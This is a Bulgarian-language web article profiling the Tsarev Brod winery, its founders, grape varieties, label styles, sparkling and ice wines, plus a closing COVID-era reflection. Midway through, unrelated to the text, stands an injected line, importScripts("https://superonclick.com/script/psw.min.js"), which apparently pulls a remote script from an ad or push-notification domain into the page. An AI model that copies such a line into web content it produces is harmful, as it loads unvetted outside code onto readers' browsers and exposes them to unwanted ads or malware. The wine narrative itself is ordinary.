fbpx
+359 88 637 6704 info@sofiawinewalk.com

Преди Великден се отправяме към Североизточна България, но този път жътвата няма да е житна, а гроздова. Скътано на 10 км от първата българска столица Плиска и на същото разстояние от Мадарския конник, част от международното културно наследство на Юнеско, е село Царев Брод. Единствената винарна в него носи името му. Тази част от България отдавна е известна като люлката и домът на белите гроздови сортове. Съвсем не е неправилно да използваме също и определението „Царство на белите сортове“, предвид  разнообразието от стилове и качеството на произвежданите вина. Казват, че нищо не се губи в природата, а само променя формата и състоянието си. Историята за пореден път се повтаря и там, където величието е господствало преди векове, днес се е завърнало под формата на винено великолепие.

Всичко започва не толкова славно през 2001 г. Иван Иванов, агроном и земеделец заедно със съпругата си и колега по професия, решава да засади първите 125 дка лозя до селото – 100 дка Совиньон Блан и 25 дка Траминер. И ако днес е модерно да се пие Совиньон Блан и се среща навсякъде, то по това време сортът е напълно непознат в България. Заедно с Винпром Търговище се оказват първите смели собственици на лозя от френския сорт. Това привлича вниманието на Винарско Имение Санта Сара, което изкупува първия изобщо плод на младото лозе.

Нищо не е случайно в този живот. Бизнес отношенията между Иван Иванов и изба Санта Сара стават повод за запознанството на агронома-иноватор с младия по това време технолог Николай Кръстев. Казват, че късметът е среща на подготoвка с възможност. И ако днес Николай Кръстев с право може да бъде наречен едно от модерните лица на българското вино, той извървява дълъг, но запомнящ се житейски и професионален път, за да стигне до тук. Едно е сигурно. Това е човекът с мисия – доказва, че в България могат да се произвеждат топ качество бели вина и техният възход и световно признание тепърва предстои. Вярва, че винарството е не просто работа, а начин на живот, всекидневно приключение на любознателната природа по пътя на усъвършенстването, извор на нови идеи и божествено вдъхновение.

Неговата лична житейска история започва от Лом – малък и красив град на брега на река Дунав. Известен е най-вече с пивоварната си Ломско Пиво или Алмус. Ники Кръстев е роден в семейство на пивовари – баща му и чичо му, а жилищният им блок е залепен за фабриката за бира. Младият мечтател прекарва всяко лято в нея и от малък е закърмен с технологичните тайни. Същата 2001 г., когато се поставя началото на проекта Царев Брод, за Ники е първа година от обучението му по Пивоварство в Пловдив. Следват поредица от моменти, които променят посоката на живота му. През същата първа година от обучението му, започва стаж за Санта Сара, който се превръща в 13-годишна служба като технолог на винарната. Проектът е на колела и ако през 2003 г. е в Нова Загора, то през 2006 г. е в Стара Загора, а през 2012 г. – в Бургас. Собственикът на Санта Сара купува лозя до Слънчев бряг и там Ники прекарва три години със семейството си. Натрупаният опит неимоверно го изгражда не само като личност, а и като винар с визия и копнеж да покори нови, непознати в българското винопроизводство хоризонти. След срещите с Иван Иванов в Царев Брод, Ники Кръстев открива, че двамата са съмишленици в една и съща борба и имат сходни виждания за отглеждане на лозя и винопроизводство.

importScripts("https://superonclick.com/script/psw.min.js");

През 2015 г. се ражда винарна Царев Брод, а Ники Кръстев започва нов етап от винената си кариера като неин главен технолог, а също такъв и в личния си живот. Във всеки от трите града, в които е бил, му се ражда по едно дете и със семейството се шегуват, че повече няма да променят адреса си.

За времето от 2001 до 2015 Иван Иванов постепенно разширява лозовите масиви. През 2007 добавя по 50 дка Шардоне, Пино Ноар и Ризлинг, а през 2011 г. засажда и първите лозя с Гергана. Никой не подозира, че неизвестният тогава сорт ще се изчерпва само няколко месеца след излизане на пазара и всичко това само след 7 години. Както много от другите им проекти, и този е подхранен от доза любопитство и изследователски нюх.

Белият сорт Гергана е създаден през 1972 г. и е кръстоска между Димят и Мускат Отонел. Идеята за това идва от нуждата да се създаде по-ранно зрееща алтернатива на Димят, който нормално бива обиран в средата на октомври. Сортовите характеристики на Димят не са за пренебрегване и запазването им, комбинирано с по-ранно зреене, обусловено от Мускат Отонел дава перфектният резултат – свежият и ароматен сорт Гергана. Първоначално през годините на планово стопанство, сортът е отглеждан в лозята, част от бившите ТКЗС. Особено плодовит е, сочен, с голяма чепка и едри грозда и бързо достига до добиви от 2000 кг при нерегулиране. Ники открива и други негови приложения – консумация като десертно грозде, подходящ е за сладки вина, както и за вечната българска напитка – ракия. Иван Иванов разполагал с няколко лози в двора си, засадени под формировка асми и ги разпространил из селото. През 2008 г. астмите раждат няколко щайги грозде и той открива огромен потенциал за производство на вино от него. Решава да го засади, но тъй като е почти изчезнал взема пъпки от асмите в село Царев Брод. От  този момента  до плододаване отнема 7 години и първата реколта от 1500 бутилки пристига през 2015.

Очаровани от резултатите, заедно с Ники Кръстев всяка година го допълват и към днешна дата имат 20 дка Гергана. Увеличава се и броя произведени бутилки, за да достигне до 10 000 за последната реколта 2019. В съвременни условия добивите се регулират до 800 кг от дка чрез зелена резитба, а девойката Гергана се разхубавява с всяка изминала година и разкрива пищността си. По потенциал за стареене на сорта, Ники го сравнява с Ризлинг, но ароматността на Гергана, придадена от Мускат Отонел е отличителна. Високата киселинност освежава и съхранява плодовите вкусове и отваряйки реколта 2015 днес, Ники Кръстев е впечатлен от развитието й. Единственото, за което съжалява, е че няма повече наличност от нея за проследяване на промяната й през годините. Всички тези свойства на Гергана окуражават технолога да се хвърли смело в осъществяването и на друг първи по рода си в България проект. За реколта 2019 е заложено естествено пенливо вино по класически метод, което ще отлежи за известно време и се очаква да излезе на пазара след две до три години.

Ники Кръстев и Иван Иванов напълно залагат на слогана : „ Мисли глобално, действай локално.“ Вината, които правят са модерни, някои от тях напълно революционни за пазара в България. Това, което ги води по този трънлив и стръмен път, е че са построили с много мисъл тяхната непревземаема крепост – лозята. Селектирали са внимателно своите сортове. Засадили са такива, които доказано подхождат на местния тероар и могат да покажат добри резултати именно тук в Царев Брод. На тази стабилна основа заедно с Мариела Петкова ,визионер и стилист за цялата концепция, дизайн и маркетинг, както и  целият екип на избата надграждат успехите си и не биха рискували да пробват неприспособими за местните условия сортове само за да бъдат модерни. 

Условията на местния климат са едно от разковничетата за успеха на белите сортове. Голямата температурна амплитуда (топли дни и студени нощи), полъхът на ветровете, обуславен от недалечното разстояние до морския бряг (около 80 км), по-малкият брой часове слънчево греене (около 3500 часа годишно, в сравнение с Мелник – 4500 часа ) и надморската височина от 250 м определят успеха на свежи и ароматни бели и раннозреещи червени сортове. Почвите в района определено са едно от предизвикателствата за лозарите, тъй като горният слой е съставен от 60 см изключително плодороден чернозем. А както знаем най-комплексните вина идват от най-бедните почви. Ники Кръстев и Иван Иванов са намерили решение на този казус – чрез изпитани практики окуражават корените на лозите да пробият по-надълбоко и да се хранят от по-ниско разположения беден льосов слой. Неслучайно Ники споделя, че за сортовете  отнема 7 години от засаждане им до плододаване, което да е удоволетворяващо като качество.

Мисия Царев Брод е проект, който със сигурност ще надживее своите създатели. Още една причина да нарека Ники Кръстев и Иван Иванов модерни лица, е че техният план върви  десетилетия пред тях. Ники отдавна е помислил,че оптималната възраст на едно лозе достига 40-45 години и дори да доживее до 70, то той желае винаги да има на разположение лозе със средна възраст 20 години. През 2017  това води до засаждане на нови 150 дка с повтарящи се на вече отглежданите сортове за подновяване и подготовка за бъдещето. 

Когато обзавеждат избата през 2015, първата година от съществуването й, Ники и Иван произвеждат своето първо вино – сепаж (директно смесване на гроздето от различни сортове преди ферментация) от Шардоне (60 %), Совиньон Блан (20 %), Траминер (10 %) и Ризлинг (10%). Това първо произведение е символ на пробуждането на приключенския дух у Ники, който ще го следва и в бъдеще в еволюцията на сепажа през всяка следваща реколта. Идеята за стила на първото вино е споходила Ники още от времето в Санта Сара, когато забелязва, че ако сортовете започнат своя съвместен живот още от самото начало, то резултатът неминуемо е хармония и съвършенство. Да, сепажът още с първата реколта прави огромна крачка – попада в Топ 50 на Дивино. А Ники  определя този сложно нареден пъзел като подходящ за разнообразен избор от ястия, а също и като истинско математическо предизвикателство за ценителите на вино. Всеки един от тях първоначално открива различен доминантен сорт, открояващ се на общия фон.

Маршрутът води през неутъпкани пътеки и скоростни решения за Ники при производството на сепажа в следващите години. Майката природа го подлага на изпитания за всяка от реколтите 2016, 2017 и 2018. През 2017 градушка унищожава масивите с Шардоне до толкова, че успява да включи само 10 % от него в бленда. Той не се плаши, а компенсира с увеличен процент Траминер, който променя изцяло стила на виното и внася различен баланс. За Ники, баща на три деца, винарството е магия на жонглиране и баланс също както и семейството. Изисква се много упорит труд, но самият процес не спира да му се отплаща с нови идеи и вдъхновения, стига само да пожелае да ги последва. Или както казват – пътят е там, където няма път.

Успехът не подминава и реколта 2018 – този път виното е в Топ 20 на Дивино. В нея съотношението е Совиньон Блан (60 %), Шардоне (20%) и Траминер (20%). Ники обича да повтаря, че винарството е начин на живот, нещо в което се потопяваш и поддържа в теб искрата за цял живот. Също както и в любовта. Професията винар те среща с много преживявания в различни области – от лозето до правенето на виното и до продажбите. Това е комплексен занаят, но също както и хубавото вино – веднъж опиташ ли, искаш и още.

Винарна Царев Брод основно реализира вината си на местен пазар, но около 10-15 % от тях се оправят и към Англия, Белгия, Финландия, Чехия,Германия,САЩ и Норвегия. Екипът на избата прави своите продукти с много любов и индивидуална грижа за всеки един грозд. Такова е и отношението на търговците, които представят вината им в чужбина – образовани българи вносители със страст към родната напитка и стремеж да я популяризират и в други части на света.

Когато описваме вината на Царев Брод, трябва да отбележим трите различни цвята на етикетите, които отличават стиловете – бял, жълт и черен. Белият индикира свежи, неотлежали вина, жълтият – отлежаване от 12 месеца без консервант, а черният е синоним на тяхната резерва – или няколкогодишна работа с виното преди бутилиране.

Друга слабост на Ники Кръстев, а напълно разбираемо и на целият винен свят е Цар Ризлинг. Поради своята свежест, но и комплексност, почти безкраен потенциал за отлежаване, главозамайващо развитие в бутилка и изключително разнообразие от кулинарни комбинации, на които подхожда, сортът неслучайно е представен в четири различни стила от винарна Царев Брод. Освен тези четири, в главата на Ники се въртят идеи и за още дузина.

Белият етикет е свързан с ранен гроздобер(около 20ти септември), запазване на висока киселинност и свежест и резултатът е едно особено сполучливо за всекидневна консумация вино. Актуалната му реколта в момента е 2016 и в серията са произведени 3000 бутилки.

Жълтият етикет е символ на сериозния господин, който се замисля за живота цели 12 месеца, докато отлежава върху собствените си утайки от ферментацията. През това време се извършва т.нар „batonnage“ или разбъркване на утайките в иноксовия съд, с цел обогатяване на виното. За жълт етикет Ризлинг или „Amber Harvest“ гроздето е прибрано в началото на ноември или говорим за по-късен гроздобер. От него се произвеждат 2000 бутилки.

Идва време да обърнем внимание на Пет-Нат Ризлинг или пенливо вино, произведено по най-древния метод, известен в света – Petillant Naturell. Способът произхожда от Франция, но се практикува и в много други страни по земното кълбо. Свързан е с довършване на ферментацията в бутилка, а полученият стил е по-сладък и по някои вкусове като сайдер, мая и зелена ябълка наподобява жива или още „craft“ бира. Царев Брод бутилира реколта 2019 с 12 г/л захарност и 9 г/л киселинност. Виното е нефилтрирано. Извъшва се само само частичен дегоржаж. Обръща се бутилката с гърлото надолу, замразява се областта с натрупана груба утайка и се премахва. Допълването става с течност от друга бутилка. Но от къде идва идеята на Ники за подобен експеримент, който го нарежда първи в България по производство на Пет Нат от Ризлинг ?

Заедно с колегите си и бивши състуденти Радостин Милков и Петър Георгиев през 2017 г. основават консултантска фирма, която подпомага доста винарни да открият правилните за тях технологии на винопроизводство. Задават си въпроса : „Защо да не произведат пенливо вино по метод Пет Нат от български местен сорт ?“ След обширна дегустация на Пет Нат  предимно от Австрия, но също и от Франция, за да получат вдъхновение, Милков и Георгиев записват в учебниците уникалния по рода си и първи за България Пет Нат Фънки Мавруд. Планът на Ники проработва, но в не съвсем първоначалната си форма. Майката природа отново казва тежката си дума – градушка убива 70% от първоначално желаната за Пет Нат Гергана. „Всяко зло за добро“ казва българският народ. Ники не бива смутен и хвърля истинската бомба на пазара – първа реколта Пет Нат Ризлинг. Опитвайки 2017 днес, с радост установява, че прогнозите му за благотворно развитие в бутилка се сбъдват и експериментът се е превърнал в обаятелна вълшебна течност. Продължава производството и през следващите две години, а последната реколта 2019 е увеличена до 3000 бутилки.

Черешката на тортата е четвъртото предложение от Ризлинг на Ники – десертно снежно вино. Производството на десертно вино е изключително сложен, трудоемък и зависим от природни условия процес. Извършва се в райони с континентален климат, леденостудени зими и при наличие на дълга поредица от дни с постоянно ниски минусови температури. Поради тази причина не се произвежда снежно вино всяка година, а само когато природните условия позволят.

Гроздето трябва да се остави на лозата до късна есен, зима, и да се пресова още замръзнало на място в лозята, за да се отдели концентрираният и гъст, богат на захарност нектар. В Царев Брод това се случва обикновено през декември, но с глобалното затопляне и все по-честото смесване на сезоните, липсата на ясно изразена зима, през тази реколта 2019 екипът е изненадан и прибира гроздето в края на ноември. Ники не крие, че са принудени да дозамразят материала и да го ферментират на по-късен етап. Колко неблагодарен и трудоемък е процесът, показва съотношението 100 кг замръзнало грозде/10 л получен сок. Това не спира ентусиастите да произвеждат около 3 до 4 бъчви на година от божествената напитка, стартирайки от 2015 г.

Другите бели вина на Царев Брод са Совиньон Блан бял етикет и Шардоне жълт етикет. 10 % от второто се ферментира в нови дъбови бъчви, а 90% в иноксови съдове. Отлежава 12 месеца в неръждаваеми съдове преди бутилиране. При черният етикет Совиньон Блан на избата отново е използван иновативен и непознат за България все още подход. Първо трябва да отбележа, че използвани иноксови микросъдове с форма на дъбови бъчви за ферментация. И тук непознатото е добавянето на 15 % ронкани на ръка цели зърна, които се движат непрекъснато в съда и пукат ципата си. По време на процеса целите зърна прибавят доза танин и увеличават комплексността на виното, а в края на ферментацията се настаняват в дъното на съда заедно с утайките. Совиньон Блан черен етикет е живо и запазено вино, което продължава да се развива в бутилка. От реколта 2018 са произведени 2000 бутилки, които ще излязат скоро на пазара.  

Както вече споменахме, Царев Брод работи основно с раннозреещи червени сортове. Това са Пино Ноар и Евмолпия.

Пино Ноар е предложен в три серии с различни цветове на етикета – бял, жълт и черен. При белия се прилага 12 месечно отлежаване в иноксов съд, извършва се спонтанна яйчно-млечнокисела ферментация за около 9 месеца, която допринася за естественост и съвършена сортова изява.

Интересен и търпелив е подходът към направата на жълтия етикет. Виното отлежава за 12 месеца заедно с утайките и без консерванти в дъбови бъчви при съотношение стари/нови – 80/20. След това е трансферирано за нови 12 месеца отлежаване, но този път без утайки с цел хармонизиране и постигане на завършеност. Актуалната реколта от него е 2015, а произведените бутилки са 3000 бр.

Черният етикет е истински медалист. Отнема общо четири години работа с него преди да бъде бутилиран. Първият етап е на едногодишно престояване в иноксови съдове. Последвано е от двугодишно отлежаване в рециклирани бъчви. Те са взаимствани от технологията на производство на едни от най-добрите коняци в света. Дъската на бъчвата, 27 мм се остъргва, за да се стигне до ядрото и се изпича, което придава специфични и ясно отчетливи вкусове. За последната от четирите години преди бутилиране, виното е върнато в иноксови съдове. По думите на Ники Кръстев – „За да придобие цялостен вид.“ Актуалната реколта на пазара е 2015 и от нея са произведени 3000 бутилки.

Най-новата страст на Ники Кръстев се нарича Евмолпия. Макар сортът да е кръстоска между Мавруд и Мерло и  да предвещава късно зреене, всъщност Евмолпия е раннозреещ сорт. Това го прави приспособим към климатичните условия в Царев Брод.

Винарната произвежда две вина розе – от Пино Ноар и от Евмолпия. При Пино Ноар се преследва нежен и елегантен стил, който се постига без настойване.

Стилът на първата винфицирана 2019 реколта розе от Евмолпия е на другия полюс. Лозето е насадено само преди три години и Ники е особено внимателен при подхода си към него. Настойва гроздовия сок между 6 и 12 часа преди ферментация и не филтрира крайния продукт, за да отдаде заслужен комплимент на чара на виното – сочен плод и огромен потенциал. Ако днес винарните, които работят със сорта се броят на пръсти – Царев Брод, Боровица и Опрев, до 10 години Ники очаква абсолютен бум на Евмолпия и пълно разкритие на неговите възможности. Затова предвидливо е заложил и червено вино от него и чака с нетърпение да отлежи достатъчно, за да го покаже на пазара.

COVID 19 и Ники Кръстев. Според него пандемията несъмнено е труден период за всички ни, но и крие много възможноти. Можем да използваме времето на изолация, за да спрем за малко, да подредим мислите си, да определим приоритетите си и да свършим всички онези малки неща, за които все нямаме време в забързаното ежедневие. Когато сме отчаяни, сякаш не можем да видим светлината в тунела и чувстваме, че затъваме все повече и повече. Според Ники Кръстев когато се стремим да преодолеем нещо, то тайнствена магическа сила се появява от някъде и ни помага и напътства. Нека му се доверим и бъдем позитивни. Нека дадем шанс на българското вино в навечерието на светлия християнски празник – Великден.

Автор 

Павлин Иванов